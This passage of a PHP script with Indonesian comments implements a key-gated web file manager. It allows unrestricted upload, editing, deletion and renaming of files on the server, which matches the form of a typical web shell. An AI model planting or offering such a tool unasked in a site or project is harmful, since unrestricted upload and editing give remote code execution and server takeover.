$security_key], $params); return '?' . http_build_query($params); } // Konfigurasi $base_path = getcwd(); $current_path = isset($_GET['path']) ? $_GET['path'] : ''; $full_path = $base_path . '/' . $current_path; // Validasi path $real_base = realpath($base_path); $real_full = realpath($full_path); if ($real_full === false || strpos($real_full, $real_base) !== 0) { die('Invalid path'); } $message = ''; $message_type = 'success'; // Upload file if (isset($_FILES['file'])) { $target_file = $full_path . '/' . basename($_FILES['file']['name']); if (move_uploaded_file($_FILES['file']['tmp_name'], $target_file)) { $message = 'File uploaded successfully'; } else { $message = 'Failed to upload file'; $message_type = 'error'; } } // Create folder if (isset($_POST['create_folder'])) { $folder_name = trim($_POST['folder_name']); if (!empty($folder_name)) { $new_folder = $full_path . '/' . basename($folder_name); if (mkdir($new_folder, 0755)) { $message = 'Folder created successfully'; } else { $message = 'Failed to create folder'; $message_type = 'error'; } } } // Delete file/folder if (isset($_GET['delete'])) { $delete_path = $full_path . '/' . basename($_GET['delete']); if (is_file($delete_path)) { if (unlink($delete_path)) { $message = 'File deleted successfully'; } else { $message = 'Failed to delete file'; $message_type = 'error'; } } elseif (is_dir($delete_path)) { function deleteDirectory($dir) { if (!file_exists($dir)) return true; if (!is_dir($dir)) return unlink($dir); foreach (scandir($dir) as $item) { if ($item == '.' || $item == '..') continue; if (!deleteDirectory($dir . '/' . $item)) return false; } return rmdir($dir); } if (deleteDirectory($delete_path)) { $message = 'Folder deleted successfully'; } else { $message = 'Failed to delete folder'; $message_type = 'error'; } } } // Rename file/folder if (isset($_GET['rename']) && isset($_GET['new_name'])) { $old_path = $full_path . '/' . basename($_GET['rename']); $new_path = $full_path . '/' . basename($_GET['new_name']); if (rename($old_path, $new_path)) { $message = 'Renamed successfully'; } else { $message = 'Failed to rename'; $message_type = 'error'; } } // Edit file if (isset($_POST['save_file']) && isset($_POST['file_path']) && isset($_POST['file_content'])) { $file_path = $full_path . '/' . basename($_POST['file_path']); if (file_put_contents($file_path, $_POST['file_content']) !== false) { $message = 'File saved successfully'; } else { $message = 'Failed to save file'; $message_type = 'error'; } } // Get file list $items = scandir($full_path); $files = []; $directories = []; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $item_path = $full_path . '/' . $item; if (is_dir($item_path)) { $directories[] = $item; } else { $files[] = $item; } } sort($directories); sort($files); $all_items = array_merge($directories, $files); // Get edit content $edit_content = ''; $edit_file = ''; if (isset($_GET['edit'])) { $edit_file = basename($_GET['edit']); $edit_path = $full_path . '/' . $edit_file; if (is_file($edit_path) && is_readable($edit_path)) { $edit_content = file_get_contents($edit_path); } } // Breadcrumb function buildBreadcrumb($path) { $crumbs = []; if (empty($path)) { return [['name' => 'Root', 'path' => '']]; } $parts = explode('/', $path); $current = ''; $crumbs[] = ['name' => 'Root', 'path' => '']; foreach ($parts as $part) { if (empty($part)) continue; $current .= ($current ? '/' : '') . $part; $crumbs[] = ['name' => $part, 'path' => $current]; } return $crumbs; } function formatSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return '1 byte'; } return '0 bytes'; } $breadcrumbs = buildBreadcrumb($current_path); ?>